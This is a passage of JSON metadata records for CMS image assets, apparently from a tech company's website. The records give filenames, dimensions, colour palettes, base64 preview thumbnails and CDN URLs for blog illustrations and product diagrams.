RSXebTfebSA65nDpjNHhMyT/CmRkjiAEnsIy3d/YH8y3M2rUvWdn5HfzEmURq77y3rExu7F2zsnJOvjjFL7ylWzlivjclvjzG3P6KVfuWLtTd4xRCP2keS773lvnXOU/sTz7qX3G9dcLd1yZPhP5SOPlMefebbwd+kq7+x+uhnlMfvSTz/Be3ZB+JPP3Dr0Rnhwms8Yp8pdYC0sj6iUPqRjfJP3Kmd8aDxkYetCx7af/DA/pPHg7/42rokducdAWOE3xgRSB9PMI7dv0c/YipxwJQz9lXRIZbpseCQHbCydsStzRNWtl6zuHnK0jfvuLn1PcHMK7zJfWZSfcKp7gTdZlbvciXZZSbRI5ToIQXkJtOrDRe/0sYXt/HHbXxaH4/YmzgnDl2CqT1iuRZysY4o1hCFGrJZYyH5kohWJ6rVkbxxG6/SwavYbqkedTDpQhu6m3MEA/rQFZs1+sxn2yjFOun1MkbhBbeNCjfVKjG1ypKoIv2fyB/vuOm88S4ebTA5AXHAtD4gYnZYyDVdlnMN5Px3JPIVkrkyX6UqLIkKsl5GpCtIVxWLqGgRSXYIay2m5SY+pe0Ke9UeQWFzw2gSNSeCzrhKbhvZnAg6JMwyullGmNtIUaXOl3qLZbPPjWSH0Oougdu7ON36FBuf2sOvdQmILjNJm2jaYsHYIZaqs2jUWU477LBo7DKvW0hX5AZhtc2ssAmqHQJyC/9/KT1qz+1ySttzO3ZMgrJFSGkQVCyCSpPpeNs1dJboV23+BaIRcYe0rT1tAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f486b","foreground":"#fff","population":0.67,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":31.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":31.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8c0d7","foreground":"#000","population":0.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9caed0","foreground":"#000","population":0.93,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b4547c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c1803c","foreground":"#fff","population":1.34,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"4b49a1ad21b7341cef858dcad62875da240960bb-1567x844.png","path":"images/sczeoy4w/production/4b49a1ad21b7341cef858dcad62875da240960bb-1567x844.png","sha1hash":"4b49a1ad21b7341cef858dcad62875da240960bb","size":62344,"uploadId":"B9F7MbcZlaB3y6nHc6L6adUWwql3ddEc","url":"https://cdn.sanity.io/images/sczeoy4w/production/4b49a1ad21b7341cef858dcad62875da240960bb-1567x844.png"} {"_createdAt":"2023-03-15T14:01:08Z","_id":"image-4b7cc2684cdad92d32e1fde8bc07c35374fa8e96-800x800-jpg","_rev":"0lF4kyZBi1fr8QymZ2xDbA","_type":"sanity.imageAsset","_updatedAt":"2023-03-15T14:01:08Z","assetId":"4b7cc2684cdad92d32e1fde8bc07c35374fa8e96","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAcCBf/EACYQAAEDAwIGAwEAAAAAAAAAAAIBAwQABREGEgcTITFBUQgiMlL/xAAWAQEBAQAAAAAAAAAAAAAAAAADBAH/xAAaEQADAAMBAAAAAAAAAAAAAAAAAQIDETIx/9oADAMBAAIRAxEAPwC/cSrtItOnDKH9X3zRkT/nPmpTbo8zR11tkxu9OTDffQXmSLKEhL4q36iiMzLS+2+Laiibk5nbKVGpU6BGvMJZ4sjFF0FUxHO3C9OvrNDkbVLRZgmax1v0uwLuFF9pmlZZcB1oDaJCAkyip2VKUxGQ35MXedCatMSLIcaYeJeYILjd181NOL8x6OFotrBbIpMi4SJ3VceVpSsfSGjhnLtnE7VVmiDCh3IuQ3+UMdyonrNKUpAj/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#543d3e","foreground":"#fff","population":3.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6d1a35","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5c9b9","foreground":"#000","population":5.05,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cca497","foreground":"#000","population":0.71,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5c9b9","foreground":"#000","population":5.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b6d64","foreground":"#fff","population":4.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c4846c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"josep-prat.jpg","path":"images/sczeoy4w/production/4b7cc2684cdad92d32e1fde8bc07c35374fa8e96-800x800.jpg","sha1hash":"4b7cc2684cdad92d32e1fde8bc07c35374fa8e96","size":41644,"uploadId":"EccZACqnAdrEteZvRJLvPJLPpb0rW8pr","url":"https://cdn.sanity.io/images/sczeoy4w/production/4b7cc2684cdad92d32e1fde8bc07c35374fa8e96-800x800.jpg"} {"_createdAt":"2023-06-07T13:32:08Z","_id":"image-4bb44b8deaf1381661cc9c3a99e61cdb0cea35a8-1920x1037-jpg","_rev":"rV9BZDYEBgQp95tIyWAVQG","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:32:08Z","assetId":"4bb44b8deaf1381661cc9c3a99e61cdb0cea35a8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MCLqX@00tlNZ-;.SkA-p-o-:rqxa9Z9Z~q","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAgf/xAAiEAACAgICAgIDAAAAAAAAAAABAwIEAAURIQYSMUFCUYH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAQL/xAAZEQEAAwEBAAAAAAAAAAAAAAABAAMSAiH/2gAMAwEAAhEDEQA/AKrYmN+7W3WmY1kkAoIX+E+fsfrGsbOm3jKlfyWpEvXLke3Q5yS8ce2vtd2ETksC6CBHodjOkuo1bmrW2yhbGGPPsR3hnXuYrW43N7O6K9gJqVRJC4iMCJH4/mGL2bC0j1Ul0owjEADgdYZltBkKlJ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353739","foreground":"#fff","population":7.81,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#623021","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#353739","foreground":"#fff","population":7.81,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1bfb9","foreground":"#000","population":6.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#efd9ce","foreground":"#000","population":0.19,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c715c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d49481","foreground":"#000","population":2.04,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"ometria-customer-img.jpg","path":"images/sczeoy4w/production/4bb44b8deaf1381661cc9c3a99e61cdb0cea35a8-1920x1037.jpg","sha1hash":"4bb44b8deaf1381661cc9c3a99e61cdb0cea35a8","size":534815,"uploadId":"fchJLMfW0iChfQsku1LGWEaSwxhHq7Ma","url":"https://cdn.sanity.io/images/sczeoy4w/production/4bb44b8deaf1381661cc9c3a99e61cdb0cea35a8-1920x1037.jpg"} {"_createdAt":"2022-09-17T18:39:35Z","_id":"image-4bbc6d2bee091249973271bb159af973dca67b0b-1000x667-jpg","_rev":"4pG2it9AJU1nJxbjoKxyUk","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T18:39:35Z","assetId":"4bbc6d2bee091249973271bb159af973dca67b0b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4992503748125936,"height":667,"width":1000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABQADBP/EACQQAAIBAwQCAgMAAAAAAAAAAAECAwAEEQUGEkEUMRMhIjJR/8QAFgEBAQEAAAAAAAAAAAAAAAAABQME/8QAHhEAAQUAAgMAAAAAAAAAAAAAAQACAwQRBSFRseH/2gAMAwEAAhEDEQA/ABtO25Y26cG8ieRcK+fxGT2KZOz7GGYxNczNJEnysOmH8oiPUnk0qa5dclEwV5ftj0aIh3bei6nKqufHzknJ+qGgtz2C4Dog56SrKTHDQF3jbkOplrmMG0UkqI8g+u6q1scTWkUxLhpF5kcuzVWCXlbIeQ3M3x9UxWizsL//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343b58","foreground":"#fff","population":0.47,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#785b0a","foreground":"#fff","population":5.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ac7759","foreground":"#fff","population":6.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1aac1","foreground":"#000","population":3.5,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6af96","foreground":"#000","population":0.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac7759","foreground":"#fff","population":6.63,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d7ae0f","foreground":"#000","population":5.88,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"mybhutan-four-women-laughing.jpg","path":"images/sczeoy4w/production/4bbc6d2bee091249973271bb159af973dca67b0b-1000x667.jpg","sha1hash":"4bbc6d2bee091249973271bb159af973dca67b0b","size":153125,"uploadId":"OK55paOkYIjqDL4ofL4HnBztNoRjYlW8","url":"https://cdn.sanity.io/images/sczeoy4w/production/4bbc6d2bee091249973271bb159af973dca67b0b-1000x667.jpg"} {"_createdAt":"2022-10-03T10:31:29Z","_id":"image-4bc6a1460d8ef0a27edcc8f14bb54fcb9593334e-1280x720-jpg","_rev":"XMqVxILwpPMz4xYxcCh9J8","_type":"sanity.imageAsset","_updatedAt":"2022-10-03T10:31:29Z","assetId":"4bc6a1460d8ef0a27edcc8f14bb54fcb9593334e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAMCCP/EABwQAAMBAQADAQAAAAAAAAAAAAABAhEDBBIhUf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/xAAUEQEAAAAAAAAAAAAAAAAAAAAA/9oADAMBAAIRAxEAPwDqGY9IUxuYajUlpLyrqOkqXixlObb5S2/rAvi/AAB//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#595a5a","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f0515","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#adbfcd","foreground":"#000","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adbfcd","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc94a4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b1818a","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f85c70","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"InfluxDB-enjoy.jpg","path":"images/sczeoy4w/production/4bc6a1460d8ef0a27edcc8f14bb54fcb9593334e-1280x720.jpg","sha1hash":"4bc6a1460d8ef0a27edcc8f14bb54fcb9593334e","size":37733,"uploadId":"m4kAzA6zsnpxM5Fc2T10SaI17ou1BhaN","url":"https://cdn.sanity.io/images/sczeoy4w/production/4bc6a1460d8ef0a27edcc8f14bb54fcb9593334e-1280x720.jpg"} {"_createdAt":"2024-06-10T15:22:57Z","_id":"image-4bc6a30c8d1831b66f53b87941b280087e8dd23a-2346x1216-png","_rev":"oFiEE05U1PQErozi7WC7nu","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:57Z","assetId":"4bc6a30c8d1831b66f53b87941b280087e8dd23a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7SPb4%KID-;jc~X-:D*R~IU9HxrIV%1V[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9292763157894737,"height":1216,"width":2346},"exif":{"PixelXDimension":2346,"PixelYDimension":1216,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABZklEQVQokW2SzW7CMBCE8/4P01MlLjxI1UNVCEEISPy3/lsHplo7UdOKw6e1rPHsrO2u7wccjyfc7xNSYnCZwbyhFDAzcs6VUgpyLrAu4z4GfHwq7PYD3t6P2O3P6LQ2UEqDyFfxPD9eMKOUudZ1nXlGSs34cg04X3ytnXRPKSNlBnOppnKg1bbmJdVv4rb/eDzwfD7/0MXIiDFX05x5Y7ilmWQh84JMM1fTdQqh0ybCUUSMqd7RKnqFGKeUqlbqGoCXRjJtZ12E903UTBlFRuIm3CINY5TmLUBa9Fs6ogDvI4gijHFQ2kA7C0MOjjwcUcWShyWqjyf6lRAkiDSSa6sJ5UCAcwHX64TDMOD72mNQF9yNgrIGytmGNbDO1eYy1ZYQmmlNSEvC223C4XTC1+WAfjzjZidoSeo9nBddm0ZSicF/qmGodycbCdYSJqUxKoXRaCiycMGjaeQ3rLTDjfWXyPdj/AAm8AevGqzM+wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e423e","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2424b4","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#949fec","foreground":"#000","population":0.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aad4ae","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949fec","foreground":"#000","population":0.19,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646db2","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1434ac","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"processed-message.png","path":"images/sczeoy4w/production/4bc6a30c8d1831b66f53b87941b280087e8dd23a-2346x1216.png","sha1hash":"4bc6a30c8d1831b66f53b87941b280087e8dd23a","size":553737,"uploadId":"kKF75fv1DIvVBSkvR6DF6ZVb9X4WbY53","url":"https://cdn.sanity.io/images/sczeoy4w/production/4bc6a30c8d1831b66f53b87941b280087e8dd23a-2346x1216.png"} {"_createdAt":"2024-02-29T12:23:33Z","_id":"image-4bcbd1ac2601015527fb253f29fd57306449a541-1328x351-png","_rev":"V3O8maT2S7wtHLmaPhSXpE","_type":"sanity.imageAsset","_updatedAt":"2024-02-29T12:23:33Z","assetId":"4bcbd1ac2601015527fb253f29fd57306449a541","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D4SF@T9v9a%NMx~p$$M_NGNJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.7834757834757835,"height":351,"width":1328},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAIAAADKYVtkAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAtUlEQVQYlTWOW44EIQhF3f9CO1Pa3SVvFK1McDI3fMCFA5TX1V5XvWprn+/dewe4e8+4OwAwMwsjESACIiIRMyBmD7HU9v65am3t7sCidqRmIpKgpqOqRJSgiGSePBGVDvA9V0hEffgYnkoYkZjllK6qclb/DehRYZGO9EHqbKSDbYh5kvlgknPOGeE+VM3dI2KtFRFjzuI+QKyRvdnBJnmoh4gRsZnvvffz7OeJtebB0vk3fwGVbB8ROhNzLgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6d6d6d","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#05547f","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#6d6d6d","foreground":"#fff","population":0.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8aacc4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bae5fc","foreground":"#000","population":0.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f8080","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0aa2f4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"eda-serverless-kafka-lamdba-policy-added.png","path":"images/sczeoy4w/production/4bcbd1ac2601015527fb253f29fd57306449a541-1328x351.png","sha1hash":"4bcbd1ac2601015527fb253f29fd57306449a541","size":16689,"uploadId":"izhXeFAY7wz1skvJk85xPxzkUjXuEK5q","url":"https://cdn.sanity.io/images/sczeoy4w/production/4bcbd1ac2601015527fb253f29fd57306449a541-1328x351.png"} {"_createdAt":"2024-02-15T15:30:57Z","_id":"image-4bd7231f3d5c5414d773fe6b369ecb6340ba5c2b-3200x1152-png","_rev":"UjGmMOs0V2SxB808hz0oqh","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T15:30:57Z","assetId":"4bd7231f3d5c5414d773fe6b369ecb6340ba5c2b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DfODkB8_WAt7t8?b~qt6IURj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7777777777777777,"height":1152,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABm0lEQVQokVXRv67TMByGYTMRISGUnYvgmlBnJjohcTFnPdfAwsDGgBCN05w2Td02tZ34b5w4Pol/qDlSEcOzvtKnD3FWR0qvkVJ617ZtNMbMRnfArtaS0jwciubDU/XzNc7/JJvNzSbJsizBGCc5zpM8zxOM8wQ5I8BoBVpr0EqBUQqctRCGAUI/gqAhlJv+B/7FvhbZZXUmzUq0ciXlCyFuxB3yuiVOK9Kpf3qlSFCSPCtDZO3JIfNl8VtvdxuFr2eLO9vjYRjwMHjs/f+QY+e1Yde1ZnSt6QtzrddDfVkHxj/Ly/ClrsbHy7Fjp0oCrSUopcE5B957CCHANE0wz/MCmWqbiqpM2+qQtlWZNocyFeU+dadj6hl/18npfWfHT0qZLWMcKGWxaZqolIrW2tj3fRzHMU7TFOd5jkjvM9TuCsR3Twu2K1CzxUh+/4ZASgQAb8YwfjTGZE3TAOc8CiGi1noJWttF59w9iuxpj9TpiOSJIHFDCJLHCo1SvAIAFCO89X5caa0x5xwYY0vQWgt93y+G24EhLJP/Auer3CXFLIdWAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#748858","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040424","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a583f8","foreground":"#000","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1b5d5","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a583f8","foreground":"#000","population":0.25,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c6c64","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#582cd4","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sql-optimization-eversql-index-suggestion.png","path":"images/sczeoy4w/production/4bd7231f3d5c5414d773fe6b369ecb6340ba5c2b-3200x1152.png","sha1hash":"4bd7231f3d5c5414d773fe6b369ecb6340ba5c2b","size":230763,"uploadId":"Xsd00UUNvPzR2scObIl7mkMfS1Po0jDz","url":"https://cdn.sanity.io/images/sczeoy4w/production/4bd7231f3d5c5414d773fe6b369ecb6340ba5c2b-3200x1152.png"} {"_createdAt":"2024-08-05T14:05:10Z","_id":"image-4bdad2dbdadf3d5e8ab67792f231960f77170cfd-2302x808-png","_rev":"YaKEzcVhnb7P0fmfvPyuY6","_type":"sanity.imageAsset","_updatedAt":"2024-08-05T14:05:10Z","assetId":"4bdad2dbdadf3d5e8ab67792f231960f77170cfd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D7RpC1~WkV-5wN~qs:bbWBnh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.849009900990099,"height":808,"width":2302},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABNElEQVQokU2RyW7cMBBE5/9/Lof4FiSIF8iSKJK9SNTm8QvImXF8eGgSaFRXd118+cSXK7VafZc79V/A5iuaCqFL9IMyyYb4SbaTIAd9Ppj0RPwDna9c3E9cCm47Nn9gy/Ubn61JUiGOSghOyhuqB6I7L6Hw9L7wGjeyHU304rriIePJMN9IdpDsxObb1KQnaSrkYUbigo6O9Yol5++Q+fEa+d0rU16b60tzN0bmmHFbmHIhytrEo+wMcWPsjPCckdGQIZO7iEXhrR/5+dzxp4uEVO6CuuGT4MlRW0mykLWgvpP0IOSdEBbG3klpQWRB8ozKzPuQ+PU28VIdpofDekPdMDvaDXU+G4871rVrY6WG8YXtxFQY4krIWxsuTbClfE+1wZ1b2rVW0dr8EP7P8W3YLeV/6CgYnmF38F0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344165","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a21c70","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#538f5c","foreground":"#fff","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4c9ae","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7a2b5","foreground":"#000","population":0.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#538f5c","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#179fca","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bigquery-kafka-summary-diagram.png","path":"images/sczeoy4w/production/4bdad2dbdadf3d5e8ab67792f231960f77170cfd-2302x808.png","sha1hash":"4bdad2dbdadf3d5e8ab67792f231960f77170cfd","size":113778,"uploadId":"HV1fJHbnFo5pzD1wwZDyzcdJBUyAa7E1","url":"https://cdn.sanity.io/images/sczeoy4w/production/4bdad2dbdadf3d5e8ab67792f231960f77170cfd-2302x808.png"} {"_createdAt":"2023-02-08T12:52:56Z","_id":"image-4c00a511c60ca18d408179dae0354ae5c5e4339f-1324x765-jpg","_rev":"CehdQyS8z5lmiPrCUVcz6o","_type":"sanity.imageAsset","_updatedAt":"2023-05-08T09:18:52Z","altText":"Create a new Flink service in Aiven console screenshot","assetId":"4c00a511c60ca18d408179dae0354ae5c5e4339f","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4S$ln%3M{_N~q~WM{RPRQRPxuogM{aenh","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.730718954248366,"height":765,"width":1324},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAECAwj/xAAeEAACAQQDAQAAAAAAAAAAAAABAgADERIxEyFBYf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAMAwEAAhEDEQA/ANOuCpQqbDZAlrF+JixAHloq4GSDySrdUGtAFAKg43+wiRzgutQkg//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474648","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#642454","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ad5d89","foreground":"#fff","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4d4d4","foreground":"#000","population":0,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec70c4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad5d89","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc5c54","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"video-thumbnail-flink-service-creation.jpg","path":"images/sczeoy4w/production/4c00a511c60ca18d408179dae0354ae5c5e4339f-1324x765.jpg","sha1hash":"4c00a511c60ca18d408179dae0354ae5c5e4339f","size":56267,"title":null,"uploadId":"BdgYGkoPnmjsK2MyXtjURXvMTEkqLH68","url":"https://cdn.sanity.io/images/sczeoy4w/production/4c00a511c60ca18d408179dae0354ae5c5e4339f-1324x765.jpg"} {"_createdAt":"2022-10-24T15:55:56Z","_id":"image-4c2da3ca1a6fe3764b8cf234447e3f1eeb539c63-800x242-png","_rev":"7KkxN9iimNYT1MszXSnJVD","_type":"sanity.imageAsset","_updatedAt":"2022-10-24T16:04:16Z","altText":"The order of actions taken by individual users are preserved, but don't need to stay 